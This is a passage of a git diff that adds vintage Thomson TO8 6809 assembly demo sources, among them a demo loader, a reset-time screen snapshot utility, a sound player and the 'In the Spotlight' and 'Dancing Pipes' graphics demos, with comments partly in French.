+       CMPB   #SIZE
+       BLO    COUL3
+
+       LDB    <SEGMNT
+       ANDB   #3
+       BNE    NEXTX
+       CMPA   #$FE
+       BNE    NEXTX
+       CLR    <BANDE2
+
+COUL3  LDB    ,U
+       ANDB   <PIXOFF
+       STB    ,U
+       LDB    -$2000,U
+       ORB    <BITTST
+       STB    -$2000,U
+       INC    <BANDE2
+
+NEXTX  LDA    <BITTST
+       ASLA
+       BNE    FORX2
+       LEAU   -1,U
+       LDA    #1
+       DEC    <SEGMNT
+       BNE    FORX2
+
+       LDA    #40
+       STA    <SEGMNT
+       LDA    #128
+FORX3  STA    <BITTST
+       COMA
+       STA    <PIXOFF
+
+       LDB    ,X
+       BITB   <BITTST
+       BNE    LIGHT2
+       LDB    $2000,X
+       BITB   <BITTST
+       BNE    LIGHT2
+
+       CLR    <BANDE1
+       BRA    NEXTX2
+
+LIGHT2 LDB    <BANDE1
+       CMPB   #SIZE
+       BLO    COUL4
+
+       LDB    <SEGMNT
+       ANDB   #3
+       BNE    NEXTX2
+       CMPA   #$7F
+       BNE    NEXTX2
+       CLR    <BANDE1
+
+COUL4  LDB    ,X
+       ANDB   <PIXOFF
+       STB    ,X
+       LDB    $2000,X
+       ORB    <BITTST
+       STB    $2000,X
+       INC    <BANDE1
+
+NEXTX2 LDA    <BITTST
+       LSRA
+       BNE    FORX3
+       LEAX   1,X
+       LDA    #128
+       DEC    <SEGMNT
+       BNE    FORX3
+       LEAX   -80,X
+       DEC    <LIGNE
+       LBNE   FORY3
+
+       PULS   CC,A,B,DP,X,U,PC
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SHELL.ASM b/code/3rdparty/sources2-hcl/SHELL.ASM
new file mode 100644
index 0000000..27a3e76
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SHELL.ASM
@@ -0,0 +1,134 @@
+****************************************
+*                                      *
+*   SHELL = INTERFACE LOADER / DEMOS   *
+*                                      *
+****************************************
+
+
+RETURN EQU    $A328
+ERROR  EQU    $A483
+       ORG    $6300
+
+DEMOS  FDB    $DA5,$010A,$3BFF
+       FDB    $FA9,$0505,$37FF
+       FDB    $FB9,$3501,$27FF
+       FDB    $FC2,$080C,$1EFF
+       FDB    $FB0,$2507,$30FF
+       FDB    $3A0,$A0A,$2904,$A00D,$329
+       FDB    $5A0,$F0C,$2906,$A012,$529
+       FDB    $7A0,$140E,$2908,$A017
+       FDB    $729
+       FDB    $9A0,$1910,$290A,$A01C
+       FDB    $929,$FC1,$1F02,$1FFF
+       FDB    $FA0,$2107,$40FF
+       FDB    $FDA,$2101,$06FF
+       FDB    $F7B,$2807,$4D00
+       FDB    $FC3,$2D04,$1DFF
+       FDB    $FA7,$2F01,$39FF
+       FDB    $FB9,$320A,$27FF
+FINDEM FDB    DEMOS
+
+G      ORCC   #80
+       LDS    #$60CC
+       LDB    #1
+       JSR    $EC0C
+
+       LDD    #32
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       LDD    #0
+       STD    $E7DC
+
+INTRO  LDD    #$6002
+       TFR    A,DP
+       STB    <$48
+       CLR    <$49
+       CLR    <$50
+       LDU    FINDEM
+
+KOILIR LDB    ,U
+       STB    $E7E5
+       LDB    2,U
+       LDX    #0
+       ABX
+       LDB    4,U
+       LDY    #0
+       LEAY   B,Y
+       LDB    3,U
+       LDA    1,U
+       JSR    DISK
+       LDX    #$DFA2
+       LEAU   5,U
+       TST    ,U
+       BMI    *+9
+       BEQ    *+4
+       BRA    KOILIR
+       LDX    #$9695
+       LEAU   1,U
+       CMPU   #FINDEM
+       BNE    *+5
+       LDU    #DEMOS+12
+       STU    FINDEM
+       JSR    ,X
+       LDD    #$E7
+       TFR    B,DP
+       LDB    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDX    FINDEM
+       CMPX   #DEMOS+6
+       BEQ    INTRO
+       LDA    #13
+       STA    $E7E5
+       JMP    RETURN
+
+DISK   STX    <$4A
+       STB    <$4C
+       STA    <$4F
+CHARGE JSR    $E004
+       BCC    *+10
+       LDA    #13
+       STA    $E7E5
+       JMP    ERROR
+       INCB
+       CMPB   #17
+       BNE    GOON
+       LDB    #1
+       LEAX   1,X
+       STX    <$4A
+GOON   STB    <$4C
+       INCA
+       STA    <$4F
+       LEAY   -1,Y
+       BNE    CHARGE
+       RTS
+RESET  ORCC   #80
+       LDD    #32
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       STD    $E7DC
+       LDA    #15
+       STA    $E7E5
+       LDU    #COLORS-6
+       PULU   D,X,Y,S
+       LDU    #$E000
+ERASE  FDB    $3676,$3676,$3676,$3676
+       FDB    $3676,$3676,$3676,$3676
+       FDB    $3676,$3676,$3676,$3676
+       FDB    $3676,$3676,$3676,$3676
+       CMPU   #$A000
+       BNE    ERASE
+       DEC    $E7E5
+       BRA    ERASE-3
+
+       FDB    0,0,0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       END
diff --git a/code/3rdparty/sources2-hcl/SNAPSHOT.ASM b/code/3rdparty/sources2-hcl/SNAPSHOT.ASM
new file mode 100644
index 0000000..f2764bc
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SNAPSHOT.ASM
@@ -0,0 +1,56 @@
+****************************************
+*           S N A P S H O T            *
+****************************************
+*    Copie de l'écran dans une BANK    *
+*         au moment du RESET           *
+****************************************
+* La routine se met à l'abri en $5FC0. *
+* D'après la procédure de RESET (FEF2) *
+* la mémoire COULEUR est commutée lors *
+* de la dérivation. L'implantation ne  *
+*  se fait donc qu'en RAMa. La palette *
+*   est copiée en $BF40 de la banque   *
+* destination sous la forme : 0BVR x16 *
+****************************************
+***        (c) Doctor Lô 1991        ***
+
+       ORG    $6088
+       JMP    $5FC0   détourne le RESET.
+       ORG    $60FE   Car ça marche ssi
+       FDB    $A55A   le reset est SOFT!
+       ORG    $E7E5     sélection BANK
+       FCB    0        -> mémoire écran
+
+***** IMPLANTATION en fin de RAM-A *****
+
+       ORG    $BFC0
+       PSHS   X,B,A
+GETKEY JSR    $E806    BANK destination
+       SUBB   #48     (choix au clavier)
+       ANDB   #$DF    minuscules->ABCDEF
+       CMPB   #22      de 0 à F en hexa
+       BHI    GETKEY
+       CMPB   #10
+       BLO    *+8
+       CMPB   #17
+       BLO    GETKEY
+       SUBB   #7
+       LDX    #$A000  copie de l'écran
+       LDA    ,X
+       STB    $E7E5
+       STA    ,X+
+       CLR    $E7E5
+       CMPX   #$E000
+       BNE    *-13
+       LDX    #$BF40  formatage palette
+       LDB    #16      et transfert en
+       LDA    ,X        $BF40 - $BF5F
+       ANDA   #15
+       STA    ,X++
+       DECB
+       BNE    *-7
+       LDD    #$A55A  à la prochaine !
+       STD    $60FE
+       PULS   A,B,X,PC
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SOUND.ASM b/code/3rdparty/sources2-hcl/SOUND.ASM
new file mode 100644
index 0000000..3f4e136
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOUND.ASM
@@ -0,0 +1,71 @@
+****************************************
+*                                      *
+*   Restitution d'un son TO8 compilé   *
+*                                      *
+****************************************
+
+BSOUND EQU    $7600   adresse début son
+ESOUND EQU    $DE96   adresse fin du son
+
+
+       ORG    $7500
+
+G      ORCC   #80
+       LDA    $E7C5        autorise
+       ORA    #1          sortie son
+       STA    $E7C5
+       LDA    $E7C1
+       ANDA   #$F7
+       STA    $E7C1
+
+       CLR    $E7CF     définition son
+       LDD    #$3F04
+       STA    $E7CD     merci Gaël !!!
+       STB    $E7CF
+
+       LDX    #BSOUND
+PLAY   LDA    ,X+
+       LDA    -1,X
+       LSRA
+       LSRA
+       TST    ,-X
+       STA    $E7CD
+       BSR    WAIT
+
+       LDA    ,X+     6
+       ANDA   #3      2
+       STA    *+8     5  attention ! les
+       LDA    ,X      4  temps d'attente
+       LSRA           2  sont identiques
+       LSRA           2  pour chaque son
+       ORA    #0      2    (cf cycles)
+       STA    $E7CD   5
+       BSR    WAIT
+
+       LDA    ,X+
+       ASLA
+       ASLA
+       STA    *+8
+       LDA    ,X
+       ANDA   #3
+       ORA    #0
+       STA    $E7CD
+       BSR    WAIT
+
+       LDA    ,X
+       TST    ,X+
+       NOP
+       LSRA
+       LSRA
+       STA    $E7CD
+       BSR    WAIT
+       CMPX   #ESOUND
+       BLO    PLAY
+       SWI
+
+WAIT   LDA    #16
+       DECA
+       BNE    *-1
+       RTS
+
+       END
diff --git a/code/3rdparty/sources2-hcl/SOURCE20.SAP b/code/3rdparty/sources2-hcl/SOURCE20.SAP
new file mode 100755
index 0000000..46b78bf
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOURCE20.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/SOURCE21.SAP b/code/3rdparty/sources2-hcl/SOURCE21.SAP
new file mode 100755
index 0000000..5e03321
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOURCE21.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/SPOT.ASM b/code/3rdparty/sources2-hcl/SPOT.ASM
new file mode 100644
index 0000000..1098fdb
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SPOT.ASM
@@ -0,0 +1,702 @@
+          ********************
+          *                  *
+      *****      H.C.L       *****
+      *DOC*                  *DOC*
+      ***** IN THE SPOTLIGHT *****
+          *                  *
+          ********************
+
+SIGLE  EQU    $7200
+VAGTAB EQU    $7EB0
+REM    EQU    $8000
+FONTES EQU    $8280
+TEXTE  EQU    $8F00
+ECRAN  EQU    $C014+40*190
+MASK   EQU    $9000
+STARS  EQU    $9780
+TAMP   EQU    $98D0
+DIR    EQU    $98
+Z      EQU    $F0
+ZZ     EQU    DIR*256+Z
+
+       ORG    $9900
+G      ORCC   #80
+       LDA    #DIR
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDP-2
+
+       LDX    #PRINT
+       LDB    ,X+
+       BEQ    *+7
+       JSR    $E803
+       BRA    *-7
+       LDA    #2
+       STA    $E7E5
+       LDD    #0
+       LDX    #$A000
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+
+       LDX    #$B4C8
+       LDU    #SIGLE
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$C178
+       BNE    *-7
+       STU    ZZ+1
+       LDA    #255
+       LDX    #KOKO
+       JSR    $EC00
+       LDX    KOKO
+       LEAY   ,X
+       CLRA
+       JSR    $EC00
+       MUL
+       LDX    #200
+       MUL
+       MUL
+       MUL
+       MUL
+       ADDD   [,U++]
+       LEAX   -1,X
+       BNE    *-8
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+
+VAG    LDA    #38
+       STA    ZZ
+       LDX    ZZ+1
+       LDU    ,X++
+       CMPX   #VAGTAB+$144
+       BNE    *+5
+       JMP    FVAG
+       STX    ZZ+1
+       LDS    #$40EA
+COPY   FDB    $373E,$343E,$373E,$343E
+       FDB    $373E,$343E,$373E,$343E
+       FCB    50,232,68
+       FDB    $373E,$343E,$373E,$343E
+       FDB    $373E,$343E,$373E,$343E
+       FCB    50,232,68
+       FDB    $373E,$343E,$373E,$343E
+       FDB    $373E,$343E,$373E,$343E
+       FCB    50,232,68
+       FDB    $373E,$343E,$373E,$343E
+       FDB    $373E,$343E,$373E,$343E
+       FCB    50,232,68
+       FDB    $373E,$343E,$373E,$343E
+       FDB    $373E,$343E,$373E,$343E
+       FCB    50,232,68
+       DEC    ZZ
+       BNE    COPY
+       LDA    #71
+       DECA
+       BNE    *-1
+       JMP    VAG
+
+FVAG   LDY    #40*312
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       LEAY   -1,Y
+       BNE    FVAG+4
+       LDS    RDP-2
+       LDA    #12
+       LDB    ,X+
+       JSR    $E803
+       DECA
+       BNE    *-6
+       LDU    #$4E1F
+       JSR    AJUS
+       LEAU   -12*40+7,U
+       JSR    AJUS
+       LDU    #$4000+138*40
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #$8280
+       BNE    *-7
+
+       LDU    #$4000
+       LDX    #$A000
+       LDD    #0
+       STD    ,X++
+       CMPX   #$C000
+       BNE    *-5
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$DF40
+       BNE    *-7
+       LDA    #128
+       STA    $E7DD
+       LDA    #DIR
+       TFR    A,DP
+       LDD    #$6410
+       STD    <Z
+       LDD    #$201
+       STD    <Z+2
+       LDD    #$A100
+       STD    <Z+4
+       LDD    #$0180
+       STD    <Z+7
+       LDA    #32
+       STD    <Z+9
+       ASLA
+       STD    <Z+11
+       LDD    #TEXTE
+       STD    <Z+13
+       LDX    #KOKO
+       LDA    #255
+       JSR    $EC00
+       LDX    KOKO
+       LEAY   ,X
+       CLRA
+       JSR    $EC00
+       MUL
+
+       LDX    #$D7+312*40
+WAIT   MUL
+       MUL
+       MUL
+       MUL
+       ADDD   [,U++]
+       LEAX   -1,X
+       BNE    WAIT
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    ,--X
+
+SPOT   LDU    #VIDE
+       PULU   X,Y,S
+       LDU    <Z+4
+       LEAU   4,U
+       LDA    #10
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       PSHU   S,Y,X
+       LEAU   46,U
+       DECA
+       BNE    *-21
+
+       LDD    #$E704
+       TFR    A,DP
+       STB    <$DB
+       LDD    #5
+       STB    <$DA
+       STA    <$DA
+       LDD    #15
+       STB    <$DA
+       STA    <$DA
+       LDA    #DIR
+       TFR    A,DP
+
+       LDU    #STARS+$70
+       LDA    #20
+       STA    <Z+6
+       CLRA
+       LDB    <Z+8
+       BEQ    M1
+L1     LDB    <Z+8
+       COMB
+       LDX    ,U++
+       ORB    $2000,X
+       COMB
+       STB    ,X
+       MUL
+       TST    [,X]
+       LDB    <Z+8
+       LSRB
+       DEC    <Z+6
+       BNE    L1
+       BRA    N1
+M1     LDB    #127
+       LDX    ,U
+       ORB    $2000,X
+       COMB
+       STD    ,X+
+       CMPX   $70,U
+       BEQ    *+6
+       TST    [,U]
+       BRA    *+7
+       CLR    ,X
+       LDX    -$70,U
+       STX    ,U++
+       DEC    <Z+6
+       BNE    M1
+       LDD    #64
+N1     STB    <Z+8
+
+       LDA    #16
+       STA    <Z+6
+       CLRA
+       LDB    <Z+9
+       BEQ    M2
+L2     LDB    <Z+9
+       COMB
+       LDX    ,U++
+       ORB    $2000,X
+       COMB
+       STB    ,X
+       MUL
+       TST    A,X
+       LDB    <Z+9
+       LSRB
+       LSRB
+       DEC    <Z+6
+       BNE    L2
+       BRA    N2
+M2     LDB    #127
+       LDX    ,U
+       ORB    $2000,X
+       COMB
+       STD    ,X+
+       CMPX   $70,U
+       BEQ    *+6
+       TST    [,U]
+       BRA    *+7
+       CLR    ,X
+       LDX    -$70,U
+       STX    ,U++
+       DEC    <Z+6
+       BNE    M2
+       LDD    #32
+N2     STB    <Z+9
+
+       LDB    <Z+12
+       COMB
+       STB    M3+1
+       LDA    #12
+       STA    <Z+6
+       CLRA
+       LDB    <Z+10
+       BEQ    M3
+L3     LDB    <Z+10
+       COMB
+       LDX    ,U++
+       ORB    $2000,X
+       COMB
+       STB    ,X
+       MUL
+       ABX
+       NOP
+       LDB    <Z+10
+       LSRB
+       LSRB
+       LSRB
+       DEC    <Z+6
+       BNE    L3
+       TST    [,U]
+       TST    ,X+
+       BRA    N3
+M3     LDB    #0
+       LDX    ,U
+       ORB    $2000,X
+       COMB
+       STD    ,X+
+       CMPX   $70,U
+       BEQ    *+6
+       TST    [,U]
+       BRA    *+7
+       CLR    ,X
+       LDX    -$70,U
+       STX    ,U++
+       DEC    <Z+6
+       BNE    M3
+       LDB    <Z+12
+       CMPB   #32
+       BNE    *+10
+       LDB    #128
+       STB    <Z+12
+       LDB    #4
+       BRA    N3
+       LSRB
+       STB    DIR*256+Z+12
+       LSRB
+       LSRB
+N3     STB    <Z+10
+
+       LDA    #8
+       STA    <Z+6
+       CLRA
+       LDB    <Z+11
+       BEQ    M4
+L4     LDB    <Z+11
+       COMB
+       LDX    ,U++
+       ORB    $2000,X
+       COMB
+       STB    ,X
+       MUL
+       ABX
+       LDB    <Z+11
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       DEC    <Z+6
+       BNE    L4
+       BRA    N4
+M4     LDB    #127
+       LDX    ,U
+       ORB    $2000,X
+       COMB
+       STD    ,X+
+       CMPX   $70,U
+       BEQ    *+6
+       TST    [,U]
+       BRA    *+7
+       CLR    ,X
+       LDX    -$70,U
+       STX    ,U++
+       DEC    <Z+6
+       BNE    M4
+       LDD    #8
+N4     STB    <Z+11
+
+       LDY    <Z+13
+       LDX    #ECRAN
+       LDA    #32
+SCROL  ANDCC  #254
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL     9,X
+       ROL     8,X
+       ROL     7,X
+       ROL     6,X
+       ROL     5,X
+       ROL     4,X
+       ROL     3,X
+       ROL     2,X
+       ROL     1,X
+       ROL     ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       LEAX   -40,X
+       DECA
+       BNE    SCROL
+       DEC    <Z+7
+       BEQ    NEXT
+
+       LDB    #39
+       NOP
+       DECB
+       BNE    *-1
+RELAIS LDX    #ECRAN-32*40+15
+       LDU    #TAMP
+       LDA    #32
+       STA    <Z+6
+
+PREPA  LEAX   40,X
+       LDB    ,X
+       ANDB   #254
+       LDA    ,U
+       BITA   #128
+       BEQ    *+5
+       INCB
+       BRA    *+4
+       LDA    1,X
+       STB    ,X
+       ASL    ,U+
+       DEC    <Z+6
+       BNE    PREPA
+       BRA    JOIN
+
+NEXT   LDB    ,Y+
+       BNE    *+10
+       LDY    #TEXTE
+       LDB    #52
+       BRA    *+5
+       DECB
+       TST    A,X
+       LDA    #32
+       LDX    #FONTES-32
+       LDU    #TAMP+32
+       MUL
+       LEAS   D,X
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       PULS   D,X
+       PSHU   X,D
+       LDD    #$800
+       STA    <Z+7
+       BRA    RELAIS
+
+JOIN   STY    <Z+13
+       LDA    #20
+       STA    <Z+6
+       LDU    #MASK
+       LDX    #$B364
+       LDA    <Z+1
+       LDB    #40
+       MUL
+       LEAX   D,X
+       LDA    <Z
+       LDB    <Z
+       LSRA
+       LSRA
+       LSRA
+       LEAX   A,X
+       STX    <Z+4
+       ANDB   #7
+       LDA    #240
+       MUL
+       LEAU   D,U
+       LEAY   $2000,X
+PROJO  PULU   D
+       ANDA   -2,Y
+       ORA    -2,X
+       ANDB   -1,Y
+       ORB    -1,X
+       STD    -2,X
+       PULU   D
+       ANDA   ,Y
+       ORA    ,X
+       ANDB   1,Y
+       ORB    1,X
+       STD    ,X
+       PULU   D
+       ANDA   2,Y
+       ORA    2,X
+       ANDB   3,Y
+       ORB    3,X
+       STD    2,X
+       LEAX   40,X
+       LEAY   40,Y
+       PULU   D
+       ANDA   -2,Y
+       ORA    -2,X
+       ANDB   -1,Y
+       ORB    -1,X
+       STD    -2,X
+       PULU   D
+       ANDA   ,Y
+       ORA    ,X
+       ANDB   1,Y
+       ORB    1,X
+       STD    ,X
+       PULU   D
+       ANDA   2,Y
+       ORA    2,X
+       ANDB   3,Y
+       ORB    3,X
+       STD    2,X
+       LEAX   40,X
+       LEAY   40,Y
+       DEC    <Z+6
+       BNE    PROJO
+
+       LDD    <Z
+       ADDA   <Z+2
+       CMPA   #4
+       BHS    *+5
+       NOP
+       BRA    *+9
+       CMPA   #244
+       BHI    *+5
+       ABX
+       BRA    *+4
+       NEG    <Z+2
+       ADDB   <Z+3
+       CMPB   #4
+       BHS    *+5
+       NOP
+       BRA    *+9
+       CMPB   #28
+       BHI    *+5
+       ABX
+       BRA    *+4
+       NEG    <Z+3
+       STD    <Z
+
+       MUL
+       TST    ,--X
+       LDD    #$E704
+       TFR    A,DP
+       STB    <$DB
+       LDD    #$500
+       STB    <$DA
+       STA    <$DA
+       LDD    #$F00
+       STB    <$DA
+       STA    <$DA
+       LDA    #DIR
+       TFR    A,DP
+
+       LDA    $E7CC
+       LDB    <Z+15
+       BEQ    JOY
+       DECB
+       STB    DIR*256+Z+15
+NJOY   LDA    #8
+       DECA
+       BNE    *-1
+       ABX
+       JMP    FJOY
+JOY    LDB    #20     antirebond
+       CMPA   #255
+       BEQ    NJOY
+       STB    <Z+15
+       BITA   #1
+       BEQ    NORD
+       BITA   #8
+       BEQ    EST
+       BITA   #2
+       BEQ    SUD
+       ABX
+       LDB    <Z+2
+       BLT    *+5
+       JMP    *+5
+       CLRA
+       NEGB
+       LSRB
+       TSTA
+       BEQ    *+6
+       LSR    <Z+2
+       BRA    FJOY
+       NEGB
+       STB    <Z+2
+       BRA    FJOY
+SUD    ABX
+       LDB    <Z+3
+       BLT    *+5
+       JMP    *+5
+       CLRA
+       NEGB
+       LSRB
+       TSTA
+       BEQ    *+6
+       LSR    <Z+3
+       BRA    FJOY
+       NEGB
+       STB    <Z+3
+       BRA    FJOY
+EST    LDB    <Z+2
+       BNE    *+9
+       INC    <Z+2
+       MUL
+       TST    ,-X
+       BRA    FJOY
+       BLT    *+5
+       JMP    *+5
+       CLRA
+       NEGB
+       CMPB   #4
+       BLO    *+6
+       TST    [D,X]
+       BRA    FJOY
+       ASLB
+       TSTA
+       BEQ    *+6
+       ASL    <Z+2
+       BRA    FJOY
+       NEGB
+       STB    <Z+2
+       BRA    FJOY
+NORD   LDX    ,X
+       LDB    <Z+3
+       BNE    *+9
+       INC    <Z+3
+       MUL
+       TST    ,-X
+       BRA    FJOY
+       BLT    *+5
+       JMP    *+5
+       CLRA
+       NEGB
+       CMPB   #4
+       BLO    *+6
+       TST    [D,X]
+       BRA    FJOY
+       ASLB
+       TSTA
+       BEQ    *+6
+       ASL    <Z+3
+       BRA    FJOY
+       NEGB
+       STB    <Z+3
+       BRA    FJOY
+
+FJOY   LDX    #158
+       NOP
+       LEAX   -1,X
+       BNE    *-3
+       TST    ,--X
+       LDA    $E7C8
+       BITA   #1
+       LBEQ   SPOT
+
+       LDS    #0
+RDP    LDA    #0
+       TFR    A,DP
+       CLR    $E7DD
+       LDX    #OUT
+       LDB    ,X+
+       JSR    $E803
+       BNE    *-5
+       LDA    #255
+       LDX    #COLORS
+       NOP
+       JSR    $EC00
+       SWI
+AJUS   LDA    #12
+       LDB    #4
+       LSR    -1,U
+       ROR    ,U
+       ROR    1,U
+       DECB
+       BNE    *-7
+       LEAU   40,U
+       DECA
+       BNE    AJUS+2
+       RTS
+
+PRINT  FDB    $1B5B,$1B59,$1B60,$1F4C
+       FDB    $4F1B,$411B,$4D00
+OUT    FDB    $1B5A,$1B4C
+KOKO   FDB    0,4095,5,15
+VIDE   FDB    0,0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+
+       END
diff --git a/code/3rdparty/sources2-hcl/TUBES.ASM b/code/3rdparty/sources2-hcl/TUBES.ASM
new file mode 100644
index 0000000..740d546
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/TUBES.ASM
@@ -0,0 +1,505 @@
+           *****************
+           *               *
+           * DANCING PIPES *
+           *               *
+           *****************
+             * Doctor Lô *
+             *************
+
+
+LOGO   EQU    $7E58
+COPPER EQU    $7200
+FINCOP EQU    COPPER+508
+PALETS EQU    $7F00
+FINPAL EQU    $8900
+TEXTE  EQU    $8B00
+FINTEX EQU    $8FEC
+SINUS  EQU    $9000
+FINSIN EQU    $9200
+FONTES EQU    $9400
+ECRAN  EQU    $ADC0
+SCROL  EQU    $DB80
+TUBE   EQU    8
+PAS    EQU    26
+SPEED  EQU    2
+WART   EQU    160
+DIR    EQU    $9F
+Z      EQU    0
+
+       ORG    $9940
+G      ORCC   #80
+       LDA    #DIR
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDP-2
+
+       LDX    #PRINT
+       LDB    ,X+
+       BEQ    *+7
+       JSR    $E803
+       BRA    *-7
+       LDD    #$02F8
+       STA    $E7E5
+       CLRA
+       LDX    #$A000
+       STB    ,X+
+       CMPX   #$C000
+       BNE    *-5
+       STA    ,X+
+       CMPX   #$E000
+       BNE    *-5
+       INC    $E7E5
+       LDX    #$A000
+       STB    ,X+
+       CMPX   #$C000
+       BNE    *-5
+       STA    ,X+
+       CMPX   #$E000
+       BNE    *-5
+       DEC    $E7E5
+       LDA    #128
+       STA    $E7DD
+
+       LDX    #GRIS
+       LDA    #255
+       JSR    $EC00
+       LDA    #100
+       STA    <Z+6
+       CLRB
+LETSGO LDU    #LOGO
+       LDX    #ECRAN
+       LDA    #40
+       STA    <Z+5
+
+UNEH   STU    <Z+1
+       STB    <Z
+       SUBB   #40
+       NEGB
+       LEAU   B,U
+       LEAY   40,X
+       STY    <Z+3
+       LEAY   $2000,X
+       LEAS   $C80,U
+       LDB    <Z
+       BGT    *+5
+       NOP
+       BRA    *+6
+       CMPB   #40
+       BLE    REAL
+       LDB    #157
+       TST    [A,U]
+       DECB
+       BNE    *-3
+       LEAX   -40,X
+       JMP    WELK
+REAL   LDA    ,U+
+       STA    ,X+
+       LDA    ,S+
+       STA    ,Y+
+       DECB
+       BNE    REAL
+       CMPX   <Z+3
+       BEQ    *+10
+       LDA    #$F8
+       CLR    ,Y+
+       STA    ,X+
+       BRA    *-10
+       LEAU   -80,U
+       LEAX   -40,X
+       LDB    <Z
+       LEAU   B,U
+       LEAY   -40,X
+       STY    <Z+3
+       LEAY   $2000,X
+       LEAS   $C80,U
+LAER   LDA    ,-U
+       STA    ,-X
+       LDA    ,-S
+       STA    ,-Y
+       DECB
+       BNE    LAER
+       CMPX   <Z+3
+       BEQ    *+10
+       LDA    #$F8
+       CLR    ,-Y
+       STA    ,-X
+       BRA    *-10
+WELK   LDU    <Z+1
+       LEAU   -80,U
+       LEAX   -40,X
+       LDB    <Z
+       DECB
+       DEC    <Z+5
+       BEQ    *+5
+       JMP    UNEH
+       ADDB   #41
+       LDA    #153
+       BITA   A,X
+       DECA
+       BNE    *-3
+       DEC    <Z+6
+       LBNE   LETSGO
+
+       LDY    #FOND
+       LDX    #SCROL-$2078
+       LDA    #14
+       STA    <Z
+AFOND  LDA    ,Y+
+       ASLA
+       ASLA
+       ASLA
+       ORA    #128
+       TFR    A,B
+       TFR    D,U
+       LDB    #20
+       STU    ,X++
+       DECB
+       BNE    *-3
+       DEC    <Z
+       BNE    AFOND
+       LDA    $E7E5
+       CMPA   #3
+       BEQ    *+7
+       INC    $E7E5
+       BRA    AFOND-11
+
+       DEC    $E7E5
+       LDS    #SCROL-$70
+HELLO  LDB    ,Y+
+       BEQ    FHELLO
+       SUBB   #65
+       LDA    #28
+       MUL
+       LDU    #FONTES
+       LEAU   D,U
+       LDA    #14
+ONELET LDX    ,U++
+       STX    ,S
+       LEAS   40,S
+       DECA
+       BNE    ONELET
+       LEAS   -14*40+2,S
+       BRA    HELLO
+FHELLO INC    $E7E5
+       LDX    #LOGO-$C58
+       LDU    #$A168
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #LOGO+40
+       BNE    *-7
+       LDU    #$C168
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #LOGO+$CA8
+       BNE    *-7
+       LDU    #PALETS
+       LDY    #PAL
+       LDX    #FINCOP
+       LDA    #9
+       CLR    ,X+
+       DECA
+       BNE    *-3
+       BRA    DEGRA
+
+       FCB    8
+PRINT  FDB    $1B5B,$1B5A,$1B60,$1400
+FOND   FCB    1,2,3,4,5,6,3,1,1,2,2,3,3
+       FCB    4
+       FCC    /HELLO[WORLDg/
+GRIS   FDB    $000,$00F,$222,$333,$444
+       FDB    $555,$666,$777,$888,$016
+       FDB    $02B,$05F,$1BF,$6FE,$DFD
+       FDB    $FFF
+
+DEGRA  LDA    #TUBE
+       STA    <Z
+       LDD    ,Y
+       CMPD   #$FFFF
+       BEQ    FINDEG
+       LDX    2,Y
+       LEAS   60,U
+       STX    <Z+1
+       STD    <Z+3
+TUYO   STX    2,U
+       STX    ,S
+       LEAX   D,X
+       STX    ,U
+       STX    2,S
+       LEAX   D,X
+       LEAU   4,U
+       LEAS   -4,S
+       DEC    PRINT-1
+       BNE    TUYO
+       LDA    #8
+       STA    PRINT-1
+       LEAU   32,U
+       LDX    <Z+1
+       LDD    4,Y
+       LEAX   D,X
+       LDD    <Z+3
+       DEC    <Z
+       BNE    TUYO-7
+       LEAY   6,Y
+       BRA    DEGRA
+
+FINDEG LDX    #TEXTE
+       STX    <Z+2
+       LDX    #SCROL
+       STX    <Z+4
+       LDX    #$80C0
+       STX    <Z+6
+       LDX    #1
+       STX    <Z+8
+
+       LDA    #$E7
+       TFR    A,DP
+       LDS    RDP-2
+       LDX    #GRIS
+       LDA    #255
+       JSR    $EC00
+       LDX    #0
+       LEAY   ,X
+       CLRA
+       JSR    $EC00
+       MUL
+
+       LDX    #8+312*100
+WAIT   MUL
+       MUL
+       MUL
+       MUL
+       ADDD   [,U++]
+       LEAX   -1,X
+       BNE    WAIT
+       LDX    #COPPER
+
+GENIE  LDD    ,X++
+       STD    *+7
+       CLRB
